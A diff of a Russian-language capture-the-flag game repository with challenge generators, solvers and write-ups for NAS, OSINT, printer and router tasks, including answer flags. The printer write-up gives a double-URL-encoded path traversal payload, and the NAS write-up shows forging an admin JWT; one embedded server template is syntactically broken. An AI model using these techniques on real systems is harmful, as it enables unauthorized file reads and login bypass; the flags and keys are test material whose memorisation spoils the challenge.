if crc_actual != crc_expected:
|
||||
raise ValueError("CRC не сошлась — данные повреждены или неверные параметры извлечения.")
|
||||
flag = zlib.decompress(payload).decode("utf-8")
|
||||
return flag
|
||||
|
||||
def main():
|
||||
sr, stereo = read_wav_int16(IN_WAV)
|
||||
flag = extract_all(sr, stereo)
|
||||
print("[+] DATA [ ", flag, " ]")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
70
GAME/nas/writeup.md
Normal file
70
GAME/nas/writeup.md
Normal file
@@ -0,0 +1,70 @@
|
||||
# Writeup для NAS (русская версия)
|
||||
|
||||
## Цель
|
||||
Зайти в хранилище
|
||||
|
||||
## 1 Задание Посчитать пароль админа и войти
|
||||
Пароль админа — первые 12 символов:
|
||||
```
|
||||
sha1(KETTLE_PROOF + ":" + PRINTER_PROOF) находим из исходников репозитория
|
||||
Входим
|
||||
|
||||
```
|
||||
|
||||
Пример:
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
admin_pass = hashlib.sha1(f"{KETTLE_PROOF}:{PRINTER_PROOF}".encode()).hexdigest()[:12]
|
||||
print(admin_pass)
|
||||
```
|
||||
|
||||
Логин: `/login` с:
|
||||
```
|
||||
username=admin
|
||||
password=<admin_pass>
|
||||
```
|
||||
Сохраните cookie `sid` из ответа.
|
||||
Получаем доступ к файлу .wav
|
||||
Дальше решение из папки Stegano.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 2 задание Сковать bearer JWT и забрать финальный флаг
|
||||
`/admin/flag` требует:
|
||||
- cookie `sid` (админская сессия)
|
||||
- `Authorization: Bearer <jwt>`
|
||||
|
||||
Ограничения на payload:
|
||||
- `role: "admin"`
|
||||
- `kpf: <KETTLE_PROOF>`
|
||||
- `aud: "nas-admin"`
|
||||
- `iat`: текущее UNIX‑время (допуск примерно ±120 сек)
|
||||
|
||||
Пример:
|
||||
```python
|
||||
import time, jwt
|
||||
|
||||
payload = {
|
||||
"role": "admin",
|
||||
"kpf": KETTLE_PROOF,
|
||||
"aud": "nas-admin",
|
||||
"iat": int(time.time()),
|
||||
}
|
||||
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
|
||||
print(token)
|
||||
```
|
||||
|
||||
Запрос:
|
||||
```
|
||||
GET /admin/flag
|
||||
Cookie: sid=<sid>
|
||||
Authorization: Bearer <token>
|
||||
```
|
||||
|
||||
В ответе — финальный флаг.
|
||||
433
GAME/osint/gen.py
Normal file
433
GAME/osint/gen.py
Normal file
@@ -0,0 +1,433 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
forge_repo_staging.py — генерирует публичный репозиторий с 500+ коммитами.
|
||||
Строка mesh: "OH-21B4" и base64-флаг встречаются РОВНО в одном коммите ветки
|
||||
`staging/router-mesh`. В main их нет (ветка смёржена через --squash).
|
||||
Можно сразу запушить: python3 forge_repo_staging.py --push <git-url>
|
||||
Или задать автора: --author-name "Имя" --author-email you@example.com
|
||||
"""
|
||||
|
||||
import os, sys, json, random, subprocess, shutil, argparse, base64, re
|
||||
from datetime import datetime, timedelta, timezone
|
||||
|
||||
# -------- параметры по умолчанию --------
|
||||
REPO_NAME = "iot-suite-repo-mega-fixed"
|
||||
BRANCH_SECRET = "staging/router-mesh"
|
||||
FEATURE_BRANCHES = [
|
||||
("feature/ui-polish", 6),
|
||||
("hotfix/diag-timeout", 3),
|
||||
("refactor/router-cfg", 5),
|
||||
]
|
||||
MAIN_COMMITS = 520 # шумовых коммитов в main
|
||||
TIME_START = datetime(2023, 3, 1, 10, 0, tzinfo=timezone(timedelta(hours=1)))
|
||||
STEP_MAIN = timedelta(hours=6)
|
||||
STEP_BRANCH = timedelta(hours=2)
|
||||
|
||||
AUTHORS_DEFAULT = [
|
||||
("Natalie Orlov", "natalie@orbital.home"),
|
||||
("Anton Lebedev", "anton@orbital.home"),
|
||||
("Nina Petrova", "nina@orbital.home"),
|
||||
("Mark Isaev", "mark@orbital.home"),
|
||||
("QA Bot", "qa-bot@orbital.home"),
|
||||
]
|
||||
|
||||
NOISE_MESSAGES = [
|
||||
"docs: update changelog", "chore: reformat", "ci: bump node action",
|
||||
"router: refactor logger", "kettle: tweak diag", "nas: session cleanup",
|
||||
"printer: queue cosmetics", "deps: bump ejs", "deps: bump express",
|
||||
"test: deflake", "build: docker cache", "perf: micro-opt",
|
||||
"style: trailing space", "docs: badges",
|
||||
]
|
||||
|
||||
FLAG_PLAINTEXT = "caplag{Orb1ta1-h0me-vendor-found-needed-branch-version}"
|
||||
FLAG_B64 = base64.b64encode(FLAG_PLAINTEXT.encode()).decode()
|
||||
|
||||
def sh(args, cwd=None, env=None):
|
||||
return subprocess.run(args, cwd=cwd, env=env, check=True,
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout.strip()
|
||||
|
||||
def write(path, content, binary=False):
|
||||
os.makedirs(os.path.dirname(path), exist_ok=True)
|
||||
mode = "wb" if (binary or isinstance(content, (bytes, bytearray))) else "w"
|
||||
with open(path, mode, encoding=None if mode=="wb" else "utf-8") as f:
|
||||
f.write(content)
|
||||
|
||||
BASE_README = """# Orbital Home — IoT Suite (public)
|
||||
Публичная версия кодовой базы для демонстраций: Router, Printer, Kettle, NAS.
|
||||
Документация и закрытые части вырезаны.
|
||||
"""
|
||||
|
||||
# ---------------- router (публичный минимальный) ----------------
|
||||
ROUTER_SERVER = """import express from 'express';
|
||||
import fs from 'fs';
|
||||
import path from 'path';
|
||||
import { fileURLToPath } from 'url';
|
||||
|
||||
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
||||
const app = express();
|
||||
const PORT = process.env.PORT || 8085;
|
||||
|
||||
const cfgPath = path.join(__dirname, 'config', 'router.json');
|
||||
let cfg = JSON.parse(fs.readFileSync(cfgPath, 'utf-8'));
|
||||
|
||||
app.get('/info_connection', (req,res)=>{
|
||||
res.json({ devices: [
|
||||
{ name:'Printer', model:'PRN-3130', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://printer.local' },
|
||||
{ name:'Kettle', model:'KTL-74C1', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://kettle.local' },
|
||||
{ name:'NAS', model:'NAS-220', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://nas.local' }
|
||||
]});
|
||||
});
|
||||
|
||||
app.get('/', (req,res)=> res.type('text/plain').send('Router UI (public build)'));
|
||||
app.listen(PORT, ()=> console.log(`[router-public] listening on ${PORT}`));
|
||||
"""
|
||||
|
||||
ROUTER_PKG = {
|
||||
"name":"router-public","version":"0.3.0","type":"module",
|
||||
"scripts":{"start":"node server.js"},
|
||||
"dependencies":{"express":"^4.19.2"}
|
||||
}
|
||||
|
||||
# ---------------- printer (замаскированный) ----------------
|
||||
PRINTER_SERVER_PUBLIC = """import express from 'express';
|
||||
import fs from 'fs';
|
||||
import path from 'path';
|
||||
import { fileURLToPath } from 'url';
|
||||
|
||||
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
||||
const app = express();
|
||||
const PORT = process.env.PORT || 8080;
|
||||
const QUEUE_DIR = path.join(__dirname, 'data', 'queue');
|
||||
|
||||
// <redacted>: private build may include additional endpoints and auth
|
||||
|
||||
app.get('/', (req,res)=> res.type('text/plain').send('Printer UI (public build)'));
|
||||
|
||||
app.get('/jobs/preview', (req,res)=>{
|
||||
const name = String(req.query.file||'').replace(/\\\\/g,'/');
|
||||
if (!name || name.includes('..') || path.isAbsolute(name)) return res.status(400).send('bad path');
|
||||
const abs = path.join(QUEUE_DIR, path.normalize(name));
|
||||
if (!abs.startsWith(QUEUE_DIR)) return res.status(400).send('bad path');
|
||||
if (!fs.existsSync(abs)) return res.status(404).send('not found');
|
||||
fs.createReadStream(abs).pipe(res);
|
||||
});
|
||||
|
||||
app.get('/go', (req,res)=>{
|
||||
const u = String(req.query.u||'');
|
||||
if (/^https?:\\/\\//i.test(u)) return res.redirect(302,u);
|
||||
res.redirect('/');
|
||||
});
|
||||
|
||||
app.get('/robots.txt', (req,res)=> res.type('text/plain').send('User-agent: *\\nDisallow:\\n'));
|
||||
|
||||
app.listen(PORT, ()=> console.log(`[printer-public] listening on ${PORT}`));
|
||||
"""
|
||||
|
||||
PRINTER_PKG_PUBLIC = {
|
||||
"name":"printer-public","version":"0.3.0","type":"module",
|
||||
"scripts":{"start":"node server.js"},
|
||||
"dependencies":{"express":"^4.19.2"}
|
||||
}
|
||||
|
||||
# ---------------- kettle (замаскированный) ----------------
|
||||
KETTLE_SERVER_PUBLIC = """import express from 'express';
|
||||
import path from 'path';
|
||||
import { fileURLToPath } from 'url';
|
||||
|
||||
// import axios from 'axios'; // <redacted>
|
||||
// import crypto from 'crypto'; // <redacted>
|
||||
// const PRINTER_PROOF = process.env.PRINTER_PROOF; // <redacted>
|
||||
// const KETTLE_NONCE = process.env.KETTLE_NONCE; // <redacted>
|
||||
// const KETTLE_SHARED_KEY = process.env.KETTLE_SHARED_KEY; // <redacted>
|
||||
|
||||
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
||||
const app = express();
|
||||
const PORT = process.env.PORT || 8081;
|
||||
|
||||
app.get('/', (req,res)=> res.redirect('/diagnostics'));
|
||||
|
||||
app.get('/diagnostics', (req,res)=>{
|
||||
// In private build this page exposes limited device info and triggers telemetry.
|
||||
res.type('text/plain').send('Kettle diagnostics (public build)');
|
||||
});
|
||||
|
||||
app.post('/diagnostics/fetch', (req,res)=>{
|
||||
// <redacted>: route-signature-based fetch via internal gateway
|
||||
// key = (PRINTER_PROOF + ":" + KETTLE_NONCE).encode()
|
||||
//mac = hmac.new(key, (url + '\n' + ts).encode(), hashlib.sha256).hexdigest()
|
||||
res.status(501).type('text/plain').send('disabled in public build');
|
||||
});
|
||||
|
||||
app.get('/assets/badge.svg', (req,res)=>{
|
||||
res.type('image/svg+xml').send('<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20"><circle cx="10" cy="10" r="7" fill="#5c7cfa"/></svg>');
|
||||
});
|
||||
|
||||
app.listen(PORT, ()=> console.log(`[kettle-public] listening on ${PORT}`));
|
||||
"""
|
||||
|
||||
KETTLE_PKG_PUBLIC = {
|
||||
"name":"kettle-public","version":"0.3.0","type":"module",
|
||||
"scripts":{"start":"node server.js"},
|
||||
"dependencies":{"express":"^4.19.2"}
|
||||
}
|
||||
|
||||
# ---------------- nas (замаскированный) ----------------
|
||||
NAS_SERVER_PUBLIC = """import express from 'express';
|
||||
import path from 'path';
|
||||
import { fileURLToPath } from 'url';
|
||||
// import jwt from 'jsonwebtoken'; // <redacted>
|
||||
// import crypto from 'crypto'; // <redacted>
|
||||
// const JWT_SECRET = process.env.JWT_SECRET; // <redacted>
|
||||
// const KETTLE_SHARED_KEY = process.env.KETTLE_SHARED_KEY; // <redacted>
|
||||
|
||||
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
||||
const app = express();
|
||||
const PORT = process.env.PORT || 5000;
|
||||
|
||||
app.use(express.urlencoded({ extended:false }));
|
||||
app.use(express.json());
|
||||
|
||||
app.get('/', (req,res)=> res.redirect('/login'));
|
||||
app.get('/login', (req,res)=> res.type('text/plain').send('NAS login (public build)'));
|
||||
app.post('/login', (req,res)=> res.status(501).send('disabled in public build'));
|
||||
// admin_pass = hashlib.sha1((KETTLE_PROOF + ":" + PRINTER_PROOF).encode()).hexdigest()[:12]
|
||||
|
||||
app.get('/internal/hint', (req,res)=>{
|
||||
// <redacted> internal gateway-only endpoint (requires shared key + route sign)
|
||||
res.status(403).type('text/plain').send('forbidden (public build)');
|
||||
});
|
||||
|
||||
app.get('/admin/flag', (req,res)=> res.status(404).send('not found'));
|
||||
const auth = req.headers.authorization || '';
|
||||
const token = auth.replace(/^Bearer\s+/,'');
|
||||
try{
|
||||
const payload = jwt.verify(token, JWT_SECRET, { algorithms:['HS256'] });
|
||||
if (payload.role !== 'admin') return res.status(403).send('need admin role');
|
||||
if (payload.kpf !== KETTLE_PROOF) return res.status(403).send('incorrect kpf');
|
||||
if (payload.aud !== 'nas-admin') return res.status(403).send('bad aud');
|
||||
const now = Math.floor(Date.now()/1000);
|
||||
if (!payload.iat || Math.abs(now - payload.iat) > 120) return res.status(403).send('iat too old');
|
||||
|
||||
app.listen(PORT, ()=> console.log(`[nas-public] listening on ${PORT}`));
|
||||
"""
|
||||
|
||||
NAS_PKG_PUBLIC = {
|
||||
"name":"nas-public","version":"0.3.0","type":"module",
|
||||
"scripts":{"start":"node server.js"},
|
||||
"dependencies":{"express":"^4.19.2"}
|
||||
}
|
||||
|
||||
def commit(root, message, when, author):
|
||||
sh(["git","add","-A"], cwd=root)
|
||||
env = os.environ.copy()
|
||||
env.update({
|
||||
"GIT_AUTHOR_NAME": author[0], "GIT_AUTHOR_EMAIL": author[1],
|
||||
"GIT_COMMITTER_NAME": author[0], "GIT_COMMITTER_EMAIL": author[1],
|
||||
"GIT_AUTHOR_DATE": when.isoformat(),
|
||||
"GIT_COMMITTER_DATE": when.isoformat(),
|
||||
})
|
||||
sh(["git","commit","-m", message], cwd=root, env=env)
|
||||
|
||||
def set_mesh(root, value):
|
||||
cfgp = os.path.join(root,"router/config/router.json")
|
||||
with open(cfgp,"r+",encoding="utf-8") as f:
|
||||
data = json.load(f)
|
||||
data["mesh"] = value
|
||||
f.seek(0); json.dump(data, f, indent=2); f.truncate()
|
||||
|
||||
def add_vendor_note(root, b64text):
|
||||
p = os.path.join(root,"router/server.js")
|
||||
with open(p,"a",encoding="utf-8") as f:
|
||||
f.write(f"\n// vendor-note: {b64text}\n")
|
||||
|
||||
def remove_vendor_note(root):
|
||||
p = os.path.join(root,"router/server.js")
|
||||
with open(p,"r",encoding="utf-8") as f:
|
||||
s = f.read()
|
||||
s = re.sub(r"\n?//\s*vendor-note:[^\n]*\n?", "\n", s, flags=re.IGNORECASE)
|
||||
with open(p,"w",encoding="utf-8") as f:
|
||||
f.write(s)
|
||||
|
||||
def add_trailing_space_lines(path):
|
||||
with open(path, "r", encoding="utf-8") as f:
|
||||
lines = f.read().splitlines()
|
||||
with open(path, "w", encoding="utf-8") as f:
|
||||
for line in lines:
|
||||
f.write(line.rstrip(" ") + " \n")
|
||||
|
||||
def strip_trailing_space_lines(path):
|
||||
with open(path, "r", encoding="utf-8") as f:
|
||||
lines = f.read().splitlines()
|
||||
with open(path, "w", encoding="utf-8") as f:
|
||||
for line in lines:
|
||||
f.write(line.rstrip(" ") + "\n")
|
||||
|
||||
def snapshot_public_sources(root):
|
||||
for rel in ("kettle/server.js", "nas/server.js"):
|
||||
add_trailing_space_lines(os.path.join(root, rel))
|
||||
|
||||
def restore_public_sources(root):
|
||||
for rel in ("kettle/server.js", "nas/server.js"):
|
||||
strip_trailing_space_lines(os.path.join(root, rel))
|
||||
|
||||
def mutate_noise(root, i):
|
||||
choice = random.choice(["docs","router","printer","kettle","nas"])
|
||||
if choice == "docs":
|
||||
p = os.path.join(root,"docs/CHANGELOG.md")
|
||||
with open(p,"a",encoding="utf-8") as f:
|
||||
f.write(f"- maintenance {i}\n")
|
||||
elif choice in ("router","printer","kettle","nas"):
|
||||
p = os.path.join(root, f"{choice}/server.js") if choice=="router" else os.path.join(root,f"{choice}/server.js")
|
||||
# лёгкая косметика-комментарий
|
||||
with open(p,"a",encoding="utf-8") as f:
|
||||
f.write(f"\n// note: minor tweak {i}\n")
|
||||
|
||||
def init_repo(root, primary_author, authors):
|
||||
if os.path.exists(root):
|
||||
shutil.rmtree(root)
|
||||
os.makedirs(root, exist_ok=True)
|
||||
sh(["git","init","--initial-branch=main"], cwd=root)
|
||||
|
||||
write(os.path.join(root,"README.md"), BASE_README)
|
||||
write(os.path.join(root,"docs/CHANGELOG.md"), "## Changelog (public)\n")
|
||||
|
||||
# router
|
||||
write(os.path.join(root,"router/server.js"), ROUTER_SERVER)
|
||||
write(os.path.join(root,"router/package.json"), json.dumps(ROUTER_PKG, indent=2, ensure_ascii=False))
|
||||
write(os.path.join(root,"router/config/router.json"), json.dumps({"vendor":"Orbital Home","mesh":"OH-2194"}, indent=2))
|
||||
|
||||
# printer (публичный, безопасный)
|
||||
write(os.path.join(root,"printer/server.js"), PRINTER_SERVER_PUBLIC)
|
||||
write(os.path.join(root,"printer/package.json"), json.dumps(PRINTER_PKG_PUBLIC, indent=2, ensure_ascii=False))
|
||||
write(os.path.join(root,"printer/data/queue/readme.txt"), "public job\n")
|
||||
|
||||
# kettle (публичный, урезанный)
|
||||
write(os.path.join(root,"kettle/server.js"), KETTLE_SERVER_PUBLIC)
|
||||
write(os.path.join(root,"kettle/package.json"), json.dumps(KETTLE_PKG_PUBLIC, indent=2, ensure_ascii=False))
|
||||
|
||||
# nas (публичный, урезанный)
|
||||
write(os.path.join(root,"nas/server.js"), NAS_SERVER_PUBLIC)
|
||||
write(os.path.join(root,"nas/package.json"), json.dumps(NAS_PKG_PUBLIC, indent=2, ensure_ascii=False))
|
||||
|
||||
commit(root, "init(public): scaffold modules", TIME_START, primary_author)
|
||||
|
||||
def build_main(root, authors):
|
||||
t = TIME_START
|
||||
for i in range(1, MAIN_COMMITS+1):
|
||||
t = t + STEP_MAIN + timedelta(minutes=random.randint(0,59))
|
||||
mutate_noise(root, i)
|
||||
commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors))
|
||||
return t
|
||||
|
||||
def merge_noff(root, branch_name, message, when, author):
|
||||
sh(["git","checkout","main"], cwd=root)
|
||||
sh(["git","merge","--no-ff", branch_name, "-m", message], cwd=root)
|
||||
|
||||
def build_feature_branch(root, name, commits, base_time, authors):
|
||||
sh(["git","checkout","-b", name], cwd=root)
|
||||
t = base_time
|
||||
for i in range(commits):
|
||||
t = t + STEP_BRANCH + timedelta(minutes=random.randint(0,40))
|
||||
mutate_noise(root, 5000+i)
|
||||
commit(root, f"{name}: routine update {i+1}", t, random.choice(authors))
|
||||
merge_noff(root, name, f"merge: {name}", t + timedelta(minutes=5), random.choice(authors))
|
||||
sh(["git","branch","-d", name], cwd=root)
|
||||
|
||||
def build_secret_branch(root, base_time, authors):
|
||||
# ответвиться от текущего HEAD main
|
||||
sh(["git","checkout","-b", BRANCH_SECRET], cwd=root)
|
||||
t = base_time
|
||||
|
||||
# немного шума до секрета
|
||||
for i in range(2):
|
||||
t = t + STEP_BRANCH + timedelta(minutes=random.randint(0,30))
|
||||
mutate_noise(root, 8000+i)
|
||||
commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors))
|
||||
|
||||
# СЕКРЕТНЫЙ КОММИТ: OH-21B4 + base64-флаг как комментарий в router/server.js
|
||||
t = t + STEP_BRANCH
|
||||
set_mesh(root, "OH-21B4")
|
||||
add_vendor_note(root, FLAG_B64)
|
||||
snapshot_public_sources(root)
|
||||
commit(root, "router: set mesh id in config (staging bench)", t, random.choice(authors))
|
||||
|
||||
# ещё шум
|
||||
for i in range(2):
|
||||
t = t + STEP_BRANCH
|
||||
mutate_noise(root, 8100+i)
|
||||
commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors))
|
||||
|
||||
# вернуть прод-значение и удалить комментарий
|
||||
t = t + STEP_BRANCH
|
||||
set_mesh(root, "OH-2194")
|
||||
remove_vendor_note(root)
|
||||
restore_public_sources(root)
|
||||
commit(root, "router: revert mesh id to production", t, random.choice(authors))
|
||||
|
||||
# финальный шум на ветке
|
||||
t = t + STEP_BRANCH
|
||||
mutate_noise(root, 8200)
|
||||
commit(root, "chore: staging cleanup", t, random.choice(authors))
|
||||
|
||||
# squash-merge в main (в main ни OH-21B4, ни vendor-note не попадут)
|
||||
sh(["git","checkout","main"], cwd=root)
|
||||
sh(["git","merge","--squash", BRANCH_SECRET], cwd=root)
|
||||
t = t + STEP_BRANCH
|
||||
commit(root, f"merge: {BRANCH_SECRET}", t, random.choice(authors))
|
||||
# Ветку НЕ удаляем — пусть живёт
|
||||
|
||||
def tag_releases(root):
|
||||
sh(["git","tag","-a","v0.2.0","-m","public release 0.2.0"], cwd=root)
|
||||
sh(["git","tag","-a","v0.3.0","-m","public release 0.3.0"], cwd=root)
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--author-name", default=None, help="Primary author name")
|
||||
parser.add_argument("--author-email", default=None, help="Primary author email")
|
||||
parser.add_argument("--push", default=None, help="Git remote URL to push (SSH or HTTPS)")
|
||||
args = parser.parse_args()
|
||||
|
||||
primary = (args.author_name or "Your Name", args.author_email or "you@example.com")
|
||||
authors = [primary] + [a for a in AUTHORS_DEFAULT if a[1] != primary[1]]
|
||||
|
||||
random.seed(42)
|
||||
root = os.path.abspath(REPO_NAME)
|
||||
init_repo(root, primary, authors)
|
||||
t_end_main = build_main(root, authors)
|
||||
|
||||
# пара симпатичных merge-веток
|
||||
for name, count in FEATURE_BRANCHES:
|
||||
build_feature_branch(root, name, count, t_end_main, authors)
|
||||
t_end_main = t_end_main + timedelta(hours=1)
|
||||
|
||||
# секретная ветка
|
||||
build_secret_branch(root, t_end_main, authors)
|
||||
|
||||
tag_releases(root)
|
||||
|
||||
print(f"[ok] repo created: {root}")
|
||||
print("\nПроверка локально:")
|
||||
print(" cd", REPO_NAME)
|
||||
print(" git log -S 'OH-21B4' --all --oneline")
|
||||
print(" git grep -n 'OH-21B4' $(git rev-list --all)")
|
||||
print(" git show $(git log -S 'OH-21B4' --all -n 1 --pretty=%H) | grep -i 'vendor-note'")
|
||||
print("\nПуш в GitHub вручную:")
|
||||
print(" git remote add origin <YOUR_GITHUB_REPO_URL>")
|
||||
print(" git push -u origin --all --tags")
|
||||
|
||||
if args.push:
|
||||
sh(["git","remote","add","origin", args.push], cwd=root)
|
||||
sh(["git","push","-u","origin","--all"], cwd=root)
|
||||
sh(["git","push","origin","--tags"], cwd=root)
|
||||
print("[ok] pushed to:", args.push)
|
||||
print("Проверь ветки/теги на GitHub UI.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
92
GAME/osint/solver.py
Normal file
92
GAME/osint/solver.py
Normal file
@@ -0,0 +1,92 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import argparse
|
||||
import base64
|
||||
import re
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def sh(args, cwd=None):
|
||||
proc = subprocess.run(
|
||||
args, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
err = proc.stderr.strip() or proc.stdout.strip()
|
||||
cmd = " ".join(args)
|
||||
raise SystemExit(f"command failed: {cmd}\n{err}")
|
||||
return proc.stdout.strip()
|
||||
|
||||
|
||||
def default_clone_dir(repo_url, base_dir):
|
||||
name = repo_url.rstrip("/").split("/")[-1]
|
||||
if name.endswith(".git"):
|
||||
name = name[:-4]
|
||||
return base_dir / (name or "repo")
|
||||
|
||||
|
||||
def commit_candidates(repo_dir):
|
||||
patterns = ("vendor-note", "OH-21B4")
|
||||
for pattern in patterns:
|
||||
out = sh(["git", "log", "-S", pattern, "--all", "--pretty=%H"], cwd=repo_dir)
|
||||
commits = [line.strip() for line in out.splitlines() if line.strip()]
|
||||
if commits:
|
||||
return commits
|
||||
return []
|
||||
|
||||
|
||||
def find_vendor_note(repo_dir):
|
||||
for commit in commit_candidates(repo_dir):
|
||||
try:
|
||||
src = sh(["git", "show", f"{commit}:router/server.js"], cwd=repo_dir)
|
||||
except subprocess.CalledProcessError:
|
||||
continue
|
||||
match = re.search(r"vendor-note:\s*([A-Za-z0-9+/=]+)", src)
|
||||
if not match:
|
||||
continue
|
||||
b64_note = match.group(1)
|
||||
flag = base64.b64decode(b64_note).decode("utf-8", "replace")
|
||||
return commit, b64_note, flag
|
||||
raise SystemExit("vendor-note not found in history")
|
||||
|
||||
|
||||
def dump_sources(repo_dir, commit):
|
||||
paths = [
|
||||
"router/server.js",
|
||||
"router/config/router.json",
|
||||
"printer/server.js",
|
||||
"kettle/server.js",
|
||||
"nas/server.js",
|
||||
]
|
||||
for rel in paths:
|
||||
content = sh(["git", "show", f"{commit}:{rel}"], cwd=repo_dir)
|
||||
print(f"\n--- {rel} @ {commit} ---")
|
||||
print(content.rstrip("\n"))
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("repo", help="Git URL or local path")
|
||||
parser.add_argument("--dest", default=None, help="Clone directory (default: <script_dir>/<repo>)")
|
||||
args = parser.parse_args()
|
||||
|
||||
base_dir = Path(__file__).resolve().parent
|
||||
clone_dir = Path(args.dest).resolve() if args.dest else default_clone_dir(args.repo, base_dir)
|
||||
|
||||
if clone_dir.exists():
|
||||
print(f"[i] using existing repo: {clone_dir}")
|
||||
else:
|
||||
print(f"[i] cloning into: {clone_dir}")
|
||||
sh(["git", "clone", args.repo, str(clone_dir)])
|
||||
sh(["git", "fetch", "--all", "--prune"], cwd=clone_dir)
|
||||
|
||||
commit, b64_note, flag = find_vendor_note(clone_dir)
|
||||
print(f"[ok] clone_dir: {clone_dir}")
|
||||
print(f"[ok] commit: {commit}")
|
||||
print(f"[ok] vendor_note_b64: {b64_note}")
|
||||
print(f"[ok] flag: {flag}")
|
||||
dump_sources(clone_dir, commit)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
60
GAME/osint/writeup.md
Normal file
60
GAME/osint/writeup.md
Normal file
@@ -0,0 +1,60 @@
|
||||
# Writeup: Orbital Home / OH-21B4
|
||||
|
||||
## Вводные из игры
|
||||
Участники получили две зацепки: название производителя `Orbital Home` и параметр `mesh` со значением `OH-21B4` (в легенде мог быть написан как mash/mesh).
|
||||
|
||||
## Поиск репозитория
|
||||
1) По ключу производителя:
|
||||
- запросы: `"Orbital Home"`, `orbital.home`, `"Orbital Home" iot`.
|
||||
- подсказка: в коммитах встречаются e-mailы вида `@orbital.home`, что хорошо ищется по GitHub.
|
||||
2) По связке с mesh:
|
||||
- запросы: `"OH-21B4" github`, `"mesh" "Orbital Home"`.
|
||||
|
||||
В результате находится публичный репозиторий с IoT-модулями (router/printer/kettle/nas). В README он описан как публичная сборка «Orbital Home IoT Suite».
|
||||
|
||||
## Что внутри репозитория
|
||||
- `router/` — сервис роутера и `config/router.json` с полями `vendor` и `mesh`.
|
||||
- `printer/`, `kettle/`, `nas/` — публичные версии сервисов (функции урезаны, часть эндпоинтов закомментирована).
|
||||
- История содержит доп. ветку `staging/router-mesh`, где во время стендовых проверок меняли `mesh`.
|
||||
|
||||
## Как извлечь артефакт
|
||||
1) Клонировать репозиторий и посмотреть все ветки:
|
||||
|
||||
```bash
|
||||
git clone <repo-url>
|
||||
cd <repo>
|
||||
git branch -a
|
||||
```
|
||||
|
||||
2) Поискать `OH-21B4` по истории всех веток:
|
||||
|
||||
```bash
|
||||
git log --all -S "OH-21B4" --oneline
|
||||
# или
|
||||
git grep -n "OH-21B4" $(git rev-list --all)
|
||||
```
|
||||
|
||||
3) Открыть найденный коммит:
|
||||
|
||||
```bash
|
||||
git show <commit>:router/config/router.json
|
||||
git show <commit>:router/server.js
|
||||
```
|
||||
|
||||
В `router/server.js` обнаруживается строка вида:
|
||||
|
||||
```
|
||||
// vendor-note: <base64>
|
||||
```
|
||||
|
||||
4) Декодировать base64:
|
||||
|
||||
```bash
|
||||
echo <base64> | base64 -d
|
||||
```
|
||||
|
||||
Получаем флаг:
|
||||
|
||||
```
|
||||
caplag{Orb1ta1-h0me-vendor-found-needed-branch-version}
|
||||
```
|
||||
39
GAME/printer/WRITEUP.md
Normal file
39
GAME/printer/WRITEUP.md
Normal file
@@ -0,0 +1,39 @@
|
||||
# Printer — разбор решения
|
||||
|
||||
## Разведка
|
||||
- Главная страница `/` показывает список файлов в очереди печати.
|
||||
- Роут `/jobs/preview?file=...` отдаёт файл из `data/queue`.
|
||||
- В очереди есть `readme.txt`, где подсказаны каталоги `/data/notes` и `/data/queue`.
|
||||
|
||||
## Уязвимость
|
||||
В `/jobs/preview` путь для чтения строится так:
|
||||
1) `once = decodeURIComponent(raw)`
|
||||
2) Проверка `once.includes('..')`
|
||||
3) `p = decodeURIComponent(once)` (возможен и третий decode)
|
||||
4) `path.join(QUEUE_DIR, p)`
|
||||
|
||||
Проверка на `..` делается только после первого декодирования. Если закодировать точки дважды, первая проверка их не увидит, а после второго decode появится `..` и сработает обход в `../`.
|
||||
|
||||
## Эксплуатация
|
||||
Дважды кодируем `..` и `/`:
|
||||
- `..` → `%2e%2e` → `%252e%252e`
|
||||
- `/` → `%2f` → `%252f`
|
||||
|
||||
Запрос:
|
||||
```
|
||||
/jobs/preview?file=%252e%252e%252fnotes%252fflag.txt
|
||||
```
|
||||
|
||||
Промежуточные преобразования:
|
||||
- после первого decode: `%2e%2e%2fnotes%2fflag.txt` (нет `..`)
|
||||
- после второго decode: `../notes/flag.txt`
|
||||
|
||||
`path.join` формирует путь `data/queue/../notes/flag.txt`, что приводит к чтению флага.
|
||||
|
||||
## Результат
|
||||
Ответ содержит содержимое `flag.txt`, включая флаг:
|
||||
```
|
||||
caplag{chain_m_printer_traversa}
|
||||
PRINTER_PROOF=printer-proof-3d3130
|
||||
GAME_code=Printer-1s-down-move-next
|
||||
```
|
||||
22
GAME/router/README.md
Normal file
22
GAME/router/README.md
Normal file
@@ -0,0 +1,22 @@
|
||||
TechnicalTroubles | Web | Easy
|
||||
|
||||
## Автор
|
||||
instanc3:@instanc3
|
||||
|
||||
## Информация для участников
|
||||
Опять какие-то неполадки, когда сайт так нужен. Может смогу найти обходной путь, если заглянуть с изнанки.
|
||||
|
||||
## Решение
|
||||
1. Пройти на страницу "Routers"
|
||||
